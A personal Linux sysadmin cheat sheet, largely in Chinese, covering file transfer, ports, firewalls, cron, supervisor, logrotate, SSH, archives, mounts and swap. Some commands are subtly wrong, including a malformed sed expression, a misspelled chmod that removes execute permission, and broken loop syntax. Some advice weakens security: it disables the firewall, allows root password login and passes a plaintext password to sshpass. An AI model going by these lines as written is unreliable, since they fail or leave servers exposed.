   for i in "${!run_func[@]}";do
     echo "`expr $i + 1` . ${run_func[$i]}"
   done
shell如何import函数
foo() {
    echo foo $1
}
main() {
    foo 1
    foo 2
}
if [ "${1}" != "--source-only" ]; then
    main "${@}"
fi

然后另一个脚本
. ./script.sh --source-only
foo 3

# 注意的是 unit.sh脚本 不能通过sh xxx.sh的方式执行,不然获取不到$1.

文件传输:

SCP命令:

scp local_file remote_username@remote_ip:remote_folder        需要输入密码,如果是ssh会失败
scp -r /home/jack/ root@192.168.xxx:xxx:/home/jihao        -r目录

sftp命令:

交互式文件传输程式,要求ip(内外都可)能够ping通
连接 
    sftp username@remote ip(or remote host name)
    sftp -oPort=2222 chenzl@52.77.87.141        再输入堡垒机密码
上传
    put /path/filename(本地主机) /path/filename(远端主机)
下载
    get /path/filename(远端主机) /path/filename(本地主机)
     -r

在sftp的环境下的操作就和一般ftp的操作类似了,ls,rm,mkdir,dir,pwd,等指令都是对远端进行操作,
如果要对本地操作,只需在上述的指令上加‘l’变为:lls,lcd, lpwd等

scp ./pinggu_google.tar.gza* dlwsadmin@apulis-china-infra01.sigsus.cn:/mntdlws/nfs
    速度要比sftp要快

rz\sz命令:

安装:

yum install -y lrzsz

使用:

sz filename        # 将服务器文件发送到本地,文件夹可先打包
rz                # 上传到服务器    

挂载网盘:

挂载nfs盘,然后直接cp,速度也比较慢,但速度应该比scp快
需要开通111 2049 4046外网端口
打tar包,然后cp,解压

端口:

查看端口占用:

lsof -i :8000    # 查找当前用户占用端口的进程(List Open Files)
kill -9 pid    
    -9  强制终止
    -15 终止SIGTERM
    -18 继续
    -19 暂停

netstat -tunlp
    -a (all)显示所有选项,默认不显示LISTEN相关,如time_wait,established,listening,connected等
    -t (tcp)仅显示tcp相关选项
    -u (udp)仅显示udp相关选项
    -n 拒绝显示别名,能显示数字的全部转化成数字。
    -l 仅列出有在 Listen (监听) 的服務状态
    -p 显示建立相关链接的程序名
    -r 显示路由信息,路由表
    -e 显示扩展信息,例如uid等
    -s 按各个协议进行统计
    -c 每隔一个固定时间,执行该netstat命令。

端口开放:

iptables -I INPUT 1 -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT

查看本地端口状态:

netstat命令:

用于显示各种网络相关信息,如网络连接,路由表,接口状态 (Interface Statistics),masquerade 连接,多播成员 (Multicast Memberships) 等等。

常见参数:
    -a (all)显示所有选项,netstat默认不显示LISTEN相关
    -t (tcp)仅显示tcp相关选项
    -u (udp)仅显示udp相关选项
    -n 拒绝显示别名,能显示数字的全部转化成数字。(重要)
    -l 仅列出有在 Listen (监听) 的服務状态

    -p 显示建立相关链接的程序名(macOS中表示协议 -p protocol)
    -r 显示路由信息,路由表
    -e 显示扩展信息,例如uid等
    -s 按各个协议进行统计 (重要)
    -c 每隔一个固定时间,执行该netstat命令。

查看tcp连接状态:netstat -nat
    几种常用的状态:LISTENING、ESTABLISHED代表一个打开的连接、TIME-WAIT等待足够的时间以确保远程TCP接收到连接中断请求的确认

ss命令:

ss -tnl
与netstat的区别:更快

测试远程端口状态:

telnet命令:

概述:
基于TELNET协议的远程登录客户端程序。Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式
允许一个用户启动远程机器的login会话,远程有一个守护进程telnetd监听请求,默认23端口
使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。
示例:
telnet 172.31.20.72 2003        测试服务是否通。

wget命令:

curl命令:

防火墙:

关闭防火墙:

service iptables stop

关闭开机自启动防火墙:

chkconfig iptables off
chkconfig --list|grep ipt    

ufw操作:

开启/关闭:

ufw enable|disable

查看列表:

ufw status 

增加:

ufw allow 22/tcp 允许所有的外部IP访问本机的22/tcp (ssh)端口
ufw allow 53 允许外部访问53端口(tcp/udp)
ufw allow from 192.168.1.100
ufw deny smtp

删除记录:

ufw delete allow smtp

进程:

查看进程:

ps -ef 显示所有进程信息,连同命令行
    -A :所有的进程均显示出来,与 -e 具有同样的效用;
    -e :
    -a : 显示现行终端机下的所有进程,包括其他用户的进程;
    -u :以用户为主的进程状态 ;

    c :列出程序时,显示每个程序真正的指令名称,而不包含路径,参数或常驻服务的标示。
    e : 列出程序时,显示每个程序所使用的环境变量。
    f : 列出程序时,显示每个程序所使用的环境变量。
    x :通常与 a 这个参数一起使用,可列出较完整信息。

后台运行进程:

# 作业被提交到后台运行,当前控制台没有被占用,但是一但把当前控制台关掉(退出帐户时),作业就会停止运行。
nohup command & # 可以在你退出帐户之后继续运行相应的进程。nohup就是不挂起的意思( no hang up)

kill进程:

sudo kill -9 `ps x | grep python | grep pdl_new_user_model_all_run | grep -v grep | awk '{print $1}'`
不能双引号

等待进程被kill掉:

until [ [ `ps x|grep python|grep redis-cli|awk '{print $2}'` == 0 ] ]; do  echo hello; sleep 1done

查看进程的具体信息:

资源占用:

top -c 
nvidia-smi 

文件所在位置:

lsof -p PID         cwd符号链接的是进程运行目录;exe符号连接就是执行程序的绝对路径;
ll /proc/PID         查看端口占用和进程调用文件

查看线程:

ps -eLf

环境变量:

临时环境变量:

用于当前终端,一旦当前终端关闭或在另一个终端中,则无效。
    export PATH=$PATH:<你的要加入的路径>
    例子:export PYTHONPATH=$PYTHONPATH:/home/usrname/models:/home/usrname/models/one

当前用户变量:

在用户主目录下有一个 .bashrc 隐藏文件,可以在此文件中加入 PATH 的设置如下:

$ vim ~/.bashrc

加入:

export PATH=<你的要加入的路径>:$PATH    # 当中每个路径要以冒号分隔。

添加PYTHONPATH的方法也是这样,在.bashrc中添加
export PYTHONPATH=/home/zhao/setup/caffe-master/python:/home/zhao/setup/mypy:$PYTHONPATH 
保存后在终端输入 $ source ~/.bashrc 使环境变量立即生效

其他类似的地方
~/.pam_environment
~/.profile
~/.bash_profile
~/.bash_login

全局变量:

$ sudo gedit /etc/profile         # 系统默认的bash shell的第一启动文件,系统中所有用户登录时都会执行这个启动文件
加入:
    export PATH=<你要加入的路径>:$PATH
终端输入:echo $PATH 可以查看环境变量

类似的地方:
    /etc/profile.d/*.sh


/etc/environment文件是登录Linux系统时的第二启动文件.

其他设置env的地方:
    1.设置了环境变量ENV_FILE=/pod.env,那么初始化时候就会导入这个文件
    2.~/.ssh/environment文件,顺序优先于ENV_FILE设置的变量,会被覆盖。
        注意,ssh 192.168.1.185 xxxx只会触发~/.ssh/environment,不会触发~/.bashrc ~/.profile

读取顺序:

login shell会读取的文件有:/etc/profile、$HOME/.bash_profile,$HOME/.bash_login,$HOME/.profile,按以上顺序读取。

在图形界面下,打开一个shell也是no login shell
    no login shell 在打开的时候,执行的文件是:$HOME/.bashrc,而.bashrc又会执行/etc/bashrc文件。

通过sudo或者bash如何触发/etc/.profile等文件
if [ -f /pod.env ]; then
    . /pod.env
fi

bash -c ""肯定可以触发用户的~/.profile文件

sudo需要sudo -i bash -c ""或者 sudo bash -c "source /pod.env && "

定时任务:

运行shell环境:

默认是/bin/sh (supervisor不启动shell,用不了shell的内置命令)
如果需要修改,指定
    SHELL=/bin/bash
    PATH=/usr/local/lib/python3.6/bin:/usr/bin:/bin             用不了$PATH
    MAILTO=root
    HOME=/data/webapps/ops.manage.ui
    BASH_ENV=必须有权限访问的路径

分类:

crontab在/etc目录下面存在cron.hourly,cron.daily,cron.weekly,cron.monthly,cron.d五个目录和crontab,cron.deny二个文件。
    cron.daily是每天执行一次的job
    cron.weekly是每个星期执行一次的job
    cron.monthly是每月执行一次的job
    cron.hourly是每个小时执行一次的job
    cron.d是系统自动定期需要做的任务

    crontab是设定定时任务执行文件
    cron.deny文件就是用于控制不让哪些用户使用Crontab的功能

编辑:

crontab -e         自动存放于/var/spool/cron/crontabs/用户名 目录中
crontab -u username -e root身份编辑其他用户的crontab文件
格式:
    *        *        *      *      *        command
    minute   hour    day   month   week      command
    分       时       天    月      星期      命令

特殊字符
    星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
    逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”。
    中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”。
    正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。
                同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。

运行:

文件以用户名命名.linux的cron服务是每隔一分钟去读取一次/var/spool/cron,/etc/crontab,/etc/cron.d下面所有的内容
/etc/crontab是针对系统的任务,其中的”run-parts”这个参数了,后接文件名。如果去掉这个参数的话,后面就可以写要运行的某个脚本名,而不是文件夹名了
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。

查询:

crontab -l 

删除:

crontab -r        删除所有的crontab的工作内容,若仅要删除一项,请用-e去编辑。

操作命令:

/sbin/service crond start //启动服务
  /sbin/service crond stop //关闭服务
  /sbin/service crond restart //重启服务
  /sbin/service crond reload //重新载入配置
/sbin/service crond status   //查看服务状态 

supervisor管理进程:

概述;
    保证应用一直处于运行状态,在遇到程序异常、报错等情况,导致 web 应用终止时,需要保证程序可以立刻重启,继续提供服务。

安装:
    下载安装:
        wget https://pypi.python.org/packages/80/37/964c0d53cbd328796b1aeb7abea4c0f7b0e8c7197ea9b0b9967b7d004def/supervisor-3.3.1.tar.gz
        tar zxf supervisor-3.3.1.tar.gz
        mv supervisor-3.3.1 supervisor
        cd supervisor
        python setup.py install 
    python3安装:
        pip install git+https://github.com/Supervisor/supervisor    
配置:
    mkdir /etc/supervisor
    echo_supervisord_conf > /etc/supervisord.conf # 可能当前用户需要文件夹的权限
    # /usr/local/python3/bin/echo_supervisord_conf > /etc/supervisord.conf  在python3中
    sudo vim /etc/supervisord.conf
        修改[include]路径:files = /etc/supervisord.d/*.conf
        注释掉port
        # 记得注释掉;
    sudo vim /etc/supervisord.d/test.conf
    具体配置如下:
        [program:test]
        command=python /home/czl/test.py ; 被监控的进程路径,对于django项目需要 --noreload                                                                     
        directory=/home/czl/                ; 执行前要不要先cd到目录去,一般不用                                 
        priority=1                    ;数字越高,优先级越高
        numprocs=1                    ; 启动几个进程
        autostart=true                ; 随着supervisord的启动而启动
        autorestart=true              ; 自动重启。。当然要选上了
        startretries=3               ; 启动失败时的最多重试次数
        exitcodes=0                   ; 正常退出代码(是说退出代码是这个时就不再重启了吗?待确定)
        stopsignal=TERM               ; 用来杀死进程的信号
        stopwaitsecs=60               ; 发送SIGKILL前的等待时间
        redirect_stderr=true          ; 重定向stderr到stdout
        stdout_logfile=/tmp/test.log

    # stdout_logfile如果不包含print输出,python -u /xxx即可。  
操作:
    启动:
        supervisord -c  /etc/supervisord.conf   # 确保都该注释的注释掉了(不要sudo启动)有时会报spawn error,通过下面的形式启动
        或/usr/bin/python /usr/local/bin/supervisord # 报error就设置对应目录的权限  python3要创建软链
        # unlink /tmp/supervisor.sock
    重启supervisord主进程:
        supervisorctl reload                载入最新的配置文件,停止原有进程并按新的配置启动、管理所有进程。
    关闭supervisord:
        supervisorctl shutdown
    查看:
        supervisorctl status
    启动或者停止服务:
        supervisorctl stop|start|restart program_name       # 适合修改py文件后重新启动
    重读所有配置文件:
        supervisorctl reread 
    重读后更新program配置:
        supervisorctl update program名字                  # 适合仅配置修改,不用重启py进程,新添加任务也通过这个来add启动
        supervisorctl update                                # 不加名字时全部更新,自动移除旧弃的任务
    添加/移除任务
        supervisorctl remove/add xxx
分组:
    [group:model]
    programs=dch,sms            # 填写各个配置文件下的项目name,可以不同文件,然后reread后update即可统一管理
PYTHONPATH环境变量设置:
    [supervisord]
    environment=PYTHONPATH='/home/ubuntu/data/code/feature-data-service'    为所有的program添加环境变量
    # 默认会启动的脚本会获取到supervisor启动以来设置的环境变量,shutdown然后重新启动即可获取最新的(reload没用)
    # environment只是用来单独设置用的
浏览器访问:
    IP:port/
开机启动:
    1.Linux 在启动的时候会root用户执行 /etc/rc.local 里面的脚本,添加启动命令即可
        注意/etc/rc.local是/etc/rc.d/rc.local的软链:ll /etc/rc.local
        如果启动失败,查看/etc/rc.d/rc.local的执行权限
            ll /etc/rc.d/rc.local
            sudo chomd -x /etc/rc.d/rc.local
        注:  
            # 命令路径是全路径
                /usr/bin/python或安装全路径,不能是python这种

            # 执行的命令必须是立刻返回或者后台运行的,不然下面的命令会执行不了(具体想看/etc/rc.local执行了哪些命令+,可以设置log)
                python xxx.py 改为 nohup python xxx.py &

        设置日志输出:
            /etc/rc.local文件开头加入:
                exec 2> /tmp/rc.local.log           # 成功执行会被标记为 + /usr/bin/supervisord
                exec 1>&2
                set -x
        切换用户执行命令:
            /bin/su - ubuntu -c "/usr/bin/supervisord"      # -可以切换到用户变量
        问题: 
            读取不了/etc/profile里面的环境变量,自启动rc.local先于/etc/profile被系统执行,添加source etc/profile

    2.或sh脚本放到 /etc/profile.d/下
        目录下的sh脚本会在用户第一次登录shell(包括新开shell会话也算)时自动执行
        /etc/profile.d/比/etc/profile好维护,不想要什么变量直接删除/etc/profile.d/下对应的shell脚本即可

    3.或将启动文件cp到 /etc/init.d/或者/etc/rc.d/init.d/(前者是后者的软连接)下
        cat /etc/init.d/test
            sudo /usr/bin/nginx         # nginx要sudo才行
            sudo /bin/su - ubuntu -c "/usr/bin/supervisord"   # 其他如supervisord切换用户启动
        sudo chmod 755 /etc/init.d/test
        sudo update-rc.d /etc/init.d/test defaults 95           # 将该脚本放到启动列表,其中数字95是脚本启动的顺序号
        sudo update-rc.d -f test remove     # 移除 
        service test status             # 查看status,如果是普通shell命令会直接执行
        centos系统下
            脚本开头需要添加注释:
                # chkconfig: - 85 15
                # description: nginx is a World Wide Web server. It is used to serve
            执行命令
                sudo chkconfig --add nginx
                sudo chkconfig --del nginx
        # 复杂命令能够server xxx stop和server xxx start,网上搜索即可
            1./lib/lsb/init-functions在centos下没有,需要yum install redhat-lsb
            2./lib/init/vars.sh网上搜下复制
            3.start-stop-daemon在centos下也没有,
                wget http://developer.axis.com/download/distribution/apps-sys-utils-start-stop-daemon-IR1_9_18-2.tar.gz
                cd apps/sys-utils/start-stop-daemon-IR1_9_18-2/
                gcc start-stop-daemon.c -o start-stop-daemon 
                cp start-stop-daemon /usr/bin           # 注意init.d里的脚本PATH有这个路径才行
环境问题:
    不启动任何shell,如bash或sh,不能使用内置shell命令,如source
    解决:/bin/bash -c 'source "$0" && exec "$@"' 后面接正常command即可

日志分割:

概述:

logrotate软件

配置:

在/etc/logrotate.d/xx配置
多个路径用空格分隔
/home/ubuntu/data/var/log/nginx/*.log {
        su nobody root
        daily           # size  
        missingok       # 在日志轮循期间,任何错误将被忽略,例如“文件无法找到”之类的错误。
        rotate 30       # 保留多少个日志文件(轮转几次)
        compress        # 通过gzip压缩转储以后的日志,通过 gzip -dv xx.log.gz解压
        dateext         # 切割后的日志文件以当前日期为格式结尾,如xxx.log-20131216这样,如果注释掉,切割出来是按数字递增,即xxx.log-1这种格式
        delaycompress   # 和compress 一起使用时,转储的日志文件到下一次转储时才压缩
        notifempty      # 当日志文件为空时,不进行轮转
        sharedscripts   
        prerotate       # 在logrotate转储之前需要执行的指令,例如修改文件的属性等动作;必须独立成行
                if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
                        run-parts /etc/logrotate.d/httpd-prerotate; \
                fi \
        endscript
        postrotate      # 运行postrotate脚本,作用是在所有日志都轮转后统一执行一次脚本。如果没有配置这个,那么每个日志轮转后都会执行一次脚本
                [ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid`
        endscript
}

手动执行logrotate:

logrotate /etc/logrotate.conf    每执行一次才分割

-d 测试运行,查看信息
-f 强制执行,一般会提示错误信息,如该日志文件是否有权限

如何确定某个配置是否生效:

logrotate -f /etc/logrotate.d/test.conf     # 可以显示执行异常信息

定时执行:

在/etc/cron.daily/目录下加入logrorate配置文件
如:
    cd /var/lib/logrotate
    test -e status || touch status
    head -1 status > status.clean
    sed 's/"//g' status | while read logfile date
    do
        [ -e "$logfile" ] && echo "\"$logfile\" $date"
    done >> status.clean
    mv status.clean status

    test -x /usr/sbin/logrotate || exit 0
    /usr/sbin/logrotate /etc/logrotate.conf
然后在/etc/crontab确定daily任务的执行时间
    17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
    47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
    52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

SSH:

密钥:

新建命令:

ssh-keygen -t rsa -C "chenzl@akulaku.com"      # 公钥私钥在~/.ssh目录下,每次生成会覆盖旧的密钥对,指定的账号在gitlab有用,用来寻找对应的ssh公钥
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys         # 文件权限为600,用途:存放认证公钥,ssh登录验证的公钥只要在里面有就可以了
chmod 700 ~/.ssh                        # 目录权限为700
ll -a ~/
                                # 查看隐藏文件夹信息

使用:

将id_rsa.pub附加到其他服务器下的.ssh/authorized_keys,本机的id_rsa即可通过私钥匹配公钥访问其他服务器
ssh -i ./id_rsa 可以指定私钥,需要600。id_rsa的权限700 600都可以

配置:

.ssh/config文件可以配置多个登录信息

根据sshkey私钥生成公钥:

ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub

检测公私钥是否匹配:

diff <( ssh-keygen -y -e -f ~/.ssh/id_rsa ) <( ssh-keygen -y -e -f ~/.ssh/id_rsa.pub )

ssh保持长连接不断开:

1.修改/etc/ssh/sshd_config配置文件

ClientAliveInterval 60
ClientAliveCountMax 10

sudo service sshd reload     

2.创建~/.ssh/config文件

ServerAliveInterval 60

保存退出,重新开启shell,则再ssh远程服务器的时候,不会因为长时间操作断开。

3.修改/etc/profile配置文件

TMOUT=1800

30分钟没操作就自动LOGOUT

4.window下xshell工具设置

每间隔多少秒发送一个字符串即可

设置密码登录:

编辑  /etc/ssh/sshd_config 文件 将PasswordAuthentication 的值改为 yes
PermitRootLogin without-password 改为 PermitRootLogin yes
然后 ssh ubuntu@3.18.144.xxx
sudo service ssh restart

自动输入密码:

sshpass -p xxx scp $1 nferzhuang@192.168.1.101:$2

压缩与解压:

tar文件:

概述:

只是打包动作,将许多文件包为一个文件,相当于归档处理,不做压缩;解压也一样,只是把归档文件释放出来。

压缩:

tar function options files(function与options之间没有空格)
tar -cvf file.tar file1 file2
    function:

        -c, --create  create a new archive 创建一个归档文件
        -f, --file=ARCHIVE use archive file or device ARCHIVE  后面要立刻接被打包的档案名,比如--file=examples.tar
        -t,列出备份文件的内容
        -P,绝对路径打包(打的包解开时是绝对路径,要注意这一点,通过-C /指定根目录可解决)
        -C,指定相对路径(这个就是相对路径了)tar cf test.tar -C /path/to   directory
    options:
        -v, --verbose verbosely list files processed 显示创建归档文件的进程,可以多个v,显示更多的信息
        -k,解开文件时保留已存在的文件

tar cv -T list.txt -f /dev/rft0 备份到设备中

解压:

tar -xvf examples.tar (解压至当前目录下)
tar -xvf examples.tar  -C /path (/path 解压至其它路径)
tar xvf tarfile files  (解压指定文件名)
    -x, --extract, extract files from an archive 从一个归档文件中提取文件
    -P,绝对路径解包,后面接-C也没用了,直接解压到绝对路径去
    -C /path (/path 解压至其它路径,会报tar: Removing leading `/' from member names,不影响解压)
执行tar xvf的用户会作为新的拥有者,除了root执行是原拥有者

tar.gz:

概述:

tar.gztgz只是两种不同的书写方式,后者是一种简化书写,等同处理
这种格式是Linux下使用非常普遍的一种压缩方式,兼顾了压缩时间(耗费CPU)和压缩空间(压缩比率)其实这是对tar包进行gzip算法的压缩

压缩:

之前做法:
tar cvf tarfile files        # 需额外空间存放
gzip -9 tarfile 
管道做法:
如果把tar读取或写入的文件指定为-,就会从标准输入/输出做读写的动作
tar cvf - files |gzip -9 > test.tar.gz
gunzip -9c test.tar.gz |
tar xvf -
tar选项:
tar -zcvf examples.tgz examples (examples当前执行路径下的目录)
    -z, --gzip filter the archive through gzip 通过gzip压缩的形式对文件进行归档
配套tar与bzip2
tar cvf tarfile.tar.gz --use-compress-program=bzip2 files 
tar cvf tarfile.tar.gz --use=bzip2 files 

解压:

tar -zxvf examples.tar (解压至当前执行目录下)
tar -zxvf examples.tar  -C /path (/path 解压至其它路径)

tar.bz:

概述:

Linux下压缩比率较tgz大,即压缩后占用更小的空间,使得压缩包看起来更小。但同时在压缩,解压的过程却是非常耗费CPU时间。    

压缩:

tar -jcvf examples.tar.bz2 examples   (examples为当前执行路径下的目录)
    -j--bzip2 filter the archive through bzip2 通过bzip2压缩的形式对文件进行归档

解压:

tar -jxvf examples.tar.bz2 (解压至当前执行目录下)
tar -jxvf examples.tar.bz2  -C /path (/path 解压至其它路径)

gz类型:

概述:

当压缩完后,原文件会被删除。传多个文件时,会单独压缩为各自的gz

压缩:

gzip file
gzip -N exsample.gz  恢复原文件名
ls |gzip > list.gz     管道压缩
gzip -d examples.gz examples
gzip -1 -2 -3 --- -9 数字越小越快,默认-6

解压:

gunzip examples.gz
gunzip -c list.gz|more  解压到管道,或者用zcat命令,能直接查看压缩文件的内容

查看信息:

gzip -l test.txt.gz

zip类型:

概述:

压缩率并不是很高,不如 rar及 tar.gz 等格式。    

压缩:

zip -qr examples.zip examples (examples为目录)
                             -x "log/*"                         排除某些文件夹
                             -i "test/"                         只压缩某些文件夹    

解压:

unzip examples.zip    

rar:

压缩:

rar -a examples.rar examples

解压:

rar -x examples.rar        

7z:

apt-get install p7zip-full
7z x file.7z

重要目录:

/bin      存放最基本的unix命令,如ls
/usr/bin 其他较不常用的命令,其实存放在/bin和/usr/bin的命令并没有特殊区分,分开原因是早期unix一个目录存放大小限制,换地方存放
/usr/sbin 作为系统管理用途的命令
/etc     子系统所用到的文件,子系统指:与网络或周边设备相关,如Nginx
/var    用于存放一些用于监控的文件,如日志文件
/usr/lib  标准函数库,python安装于此

关闭系统:

磁盘上常用的数据会通过高速缓存机制存在内存中,(一个是机械动作,一个是电子动作,差1000倍)
如果突发断电,数据还没写回磁盘就消失

shutdown -r +10   10分钟后重启,这刻发出警告信息
shutdown -r +10 "reboot"
shutdown -r 13:00
shutdown -r now

shutdown -h 直接停机

文件系统:

常见文件系统类型:

ext2 ext4     最通用的linux文件系统
minix        原始的Minix文件系统,
NFS            运行存取于远程网络上的文件

格式化一个软盘:

sudo mkfs -t ext4 /dev/vdb

扩容后刷新容量:

resize2fs    设备文件名   大小      在线扩容(mount状态下),增大或收缩(未加载状态)

挂载命令:

mount -t type device mount-point
      -o 指定参数
      -r 只读,等于 -o ro,对于光盘类的介质,挂为只读状态是必要的,默认rw读写

    type 就是文件系统的类型,device是文件系统所在的 实际设备(就是/dev下的设备文件),
        ext2 linux目前常用的文件系统 
        nfs 网络文件系统
        ext3 是ext2文件系统启用日志的版本。
        ext4 ext3的升级版,包含一系列重要的性能和可靠性改进,并大大提升了文件系统中卷、文件、目录的最大尺寸。
        tmpfs是一种虚拟内存文件系统,而不是块设备。是基于内存的文件系统      
            tmpfs默认的大小是RM的一半
            对于tmpfs本身而言,它并不知道自己使用的空间是RM还是Swap,这一切都是由内核的vm子系统管理的。
            VM由RM+Swap两部分组成,因此tmpfs最大的存储空间可达(The size of RM + The size of Swap)。
            每次开机会自动清空
        Overlayfs是一种堆叠文件系统,它依赖并建立在其它的文件系统之上(例如ext4fs和xfs等等),并不直接参与磁盘空间结构的划分,
            仅仅将原来底层文件系统中不同的目录进行“合并”,然后向用户呈现。                
    mount-point则是要挂载该文件系统的目录名称, 在使用这个命令之前,您必须先建立该目录。

umount 将文件系统脱离挂载点
    将系统缓存区内所暂存的数据写回该磁盘上文件系统,使其数据与内存同步,然后让该文件系统与原先挂载的目录脱离关系
    umount /dev/fd0 

    注:该命令对于可拆卸设备如软盘、光盘、zip等,取出前需先执行该命令,进行卸载,以同步内存缓存数据

    也可通过
        sync
        命令强制系统把文件系统缓冲区内的所有资料写回实际的媒质
mount查看挂载清单
    lsblk列出设备信息
mount -a 
    把所有列在/etc/fstab的文件系统都挂上,通常在系统启动时由/etc/rc.d 中的script立件(例如rc.sysinit)所执行,
    这样系统启动后您的硬盘分区、光驱等等,都将被自动挂上,除了root文件系统
    root文件系统/包含了/etc/fstab /etc/rc.d,所以内核必须在启动时直接挂载root文件系统

非root权限下进行挂载与卸载:

1.在/etc/fstab文件中为该设备加上user的参数, 这使得所有用户都可以用 mount 和 umount 命令来挂载或卸载该设备。
    如: 
        /dev/mapper/vg_study-lv_study  /lvm_study        ext4    defaults        0 0
    格式:
        device设备名或者卷标   mount-point挂载点(也就是挂载目录) type所要挂载设备的文件系统或者文件系统类型  options
            第1列是设备名或者卷标
            第2列是挂载点(也就是挂载目录)
            第3列是所要挂载设备的文件系统或者文件系统类型
            第4列是挂载选项,通常使用defaults就可以
                options是一组逗号分割的选项,即-o 后的参数 -default:启用几个内定的挂载方式。如rw、async(高速缓存),只读记得改为ro
            第5列设置是否使用dump备份,置0为不备份,置12为备份,但2的备份重要性比1
            第6列设置是否开机的时候使用fsck检验所挂载的磁盘,置0为不检验,置12为检验,但置2盘比置1的盘晚检验。

2.使用mount的前端界面(frontend)程序,这些程序执行时会setuid为root    

置换空间:

概念:

凡是用来增加系统可使用内存容量的磁盘空间都算
在linux下,置换空间作为分页paging使用:当实际内存不足时,就把部分内存页暂时存放到磁盘上,必要时才换回来。

虚拟内存:
    向磁盘借来的空间虽然不是内存,但当内存来使用,所以一般也称为虚拟内存
    速度要慢1000倍以上

种类:

1.独立的磁盘分区

效果较好,因为磁盘分区可以保证连续的

2.文件系统中的文件

文件对应的磁盘分区可能被分散在文件系统的各处

free命令:

total       used       free     shared    buffers     cached
Mem:      32948224   28230928    4717296       3084     167740   15865012
-/+ buffers/cache:   12198176   20750048
Swap:            0          0          0

total:内存总量,不包含内核为了各自需要所使用掉的部分,所以实际内存要大一点
shared:被共享的内存
buffers:缓冲区容量,内存与磁盘之间的高速缓存区使用,加快磁盘使用
swap:total显示的容量小于置换分区与置换文件容量的总和,因为各个置换区中,都会有几个用以映射对应内存页的扇区

建立:

置换分区:fdisk建立分区
置换文件:新建文件并塞置换空间容量大小的内容
    sudo dd if=/dev/zero of=/swap bs=1024 count=8192        # /dev/zero的任何读取动作都会一直传回0
    mkswap -c /swap 8192        格式化 
    sync        确保同步格式化命令
    swapon /swap        

开机启动:

可以将swapon -a加入/etc/rc.d/rc.sysinit
在/etc/fstab文件中加入 /swap none swap sw

停用:

swapoff device
删除该文件
删除/etc/fstab对应信息

永久关闭swap:

1. swapoff --all

2. vim /etc/fstab Commenting out the swap partition's UUID in the following file:

sed -i 'd/swap/d' /etc/fstab

3. /etc/initramfs-tools/conf.d/resume

4. update-grub && update-initramfs -u

5. echo "vm.swappiness = 0">> /etc/sysctl.conf

sysctl -w vm.swappiness=0

释放buff内存:

sudo sh -c 'echo 1 >/proc/sys/vm/drop_caches'
sudo sh -c 'echo 2 >/proc/sys/vm/drop_caches'
sudo sh -c 'echo 3 >/proc/sys/vm/drop_caches'

设备文件:

设备文件都是放在/dev目录下, 系统上的每个设备在/dev下都应该有个对应的项目
权限列表首字符:
    b:扇区设备文件
    -:一般文件
    d:目录
    c:字符设备文件

增加新设备文件:
    mknod -m permissions name type major minor 

    如: 
        mknod -m 666 /dev/bogus b 42 0

删除:
    不会从内存或内核把对应的设备驱动程序删除,只是再无法通过该设备文件与设备的驱动程序产生交互
    设备文件只是为特定的设备驱动程序提供一个挂钩,使得该驱动程序可以存在内核之中

备份:

是否使用压缩:

压缩后的文件如果小部分的备份区域损坏了,gzip等压缩算法依靠数据连贯性来达到压缩效果的,无法解压

而tar能恢复大部分数据

增量式备份:

搞清楚哪些文件距离上次备份时间,发生了修改
    $ sudo find / -mtime -1 \! -type d -print > list.txt

    !否定运算符,\!转义,否则解释为特殊字符
    -print会打印到标准输出

然后备份
    tar cv -T list.txt -f /dev/rft0 备份到设备中

设置终端属性:

setterm能够设置键盘重复速度、制表符距离和字符颜色

如setterm -foreground white -background black

本地挂载服务器路径:

DokanSetup_redist-1.0.0.5000.exe + WinSSHFS-1.6.1.13-devel.msi
https://github.com/dokan-dev/dokany/releases/download/v1.0.0/DokanSetup_redist-1.0.0.5000.exe
https://github.com/feo-cz/win-sshfs/releases
安装这两个即可

查找:

查找文件夹中内容包含关键字的文件:

find / -name '*.txt' | xargs grep 'route'
find / -name '*.txt' -type f| xargs grep 'route'
在根文件夹下查找后缀名为txt且含有关键字route的文件,列出文件名和route所在行。    

如何防止一行内容太多:
    for i in /usr/share/nginx/html/*;do echo $i; cat $i|grep -o ".\{0,50\}download.worker.481212127e8dc3dd8fa8.js\{0,50\}";done

压测:

CPU:

docker run -it --rm ikubernetes/stress-ng  /usr/bin/stress-ng --cpu 2 --cpu-load 100 --metrics-brief
/usr/bin/stress-ng --cpu 2 --cpu-load 100 --metrics-brief
起一个进程对cpu压测
  - name: myapp
    image: ikubernetes/stress-ng
    command: ["/usr/bin/stress-ng","-c 1","--metrics-brief"]
    resources:
       requests:
         cpu: "200m"
         memory: "128Mi"
       limits:
         cpu: "500m"
         memory: "512Mi"
(100 - (avg by (instance)(irate(node_cpu_seconds_total{mode="idle"}[300s])) * 100))>80

内存:

stress-ng --vm 1 --vm-bytes 85% --vm-keep
/usr/bin/stress-ng --cpu 7 --cpu-load 100 --vm 1 --vm-bytes 85% --vm-keep
使用率:
    (node_memory_MemTotal_bytes - node_memory_MemFree_bytes - node_memory_Buffers_bytes - node_memory_Cached_bytes)/
    node_memory_MemTotal_bytes > 0.8

GPU:

docker pull chrstnhntschl/gpu_burn:latest
docker run --rm -it --entrypoint="" chrstnhntschl/gpu_burn bash
    /root/gpu_burn

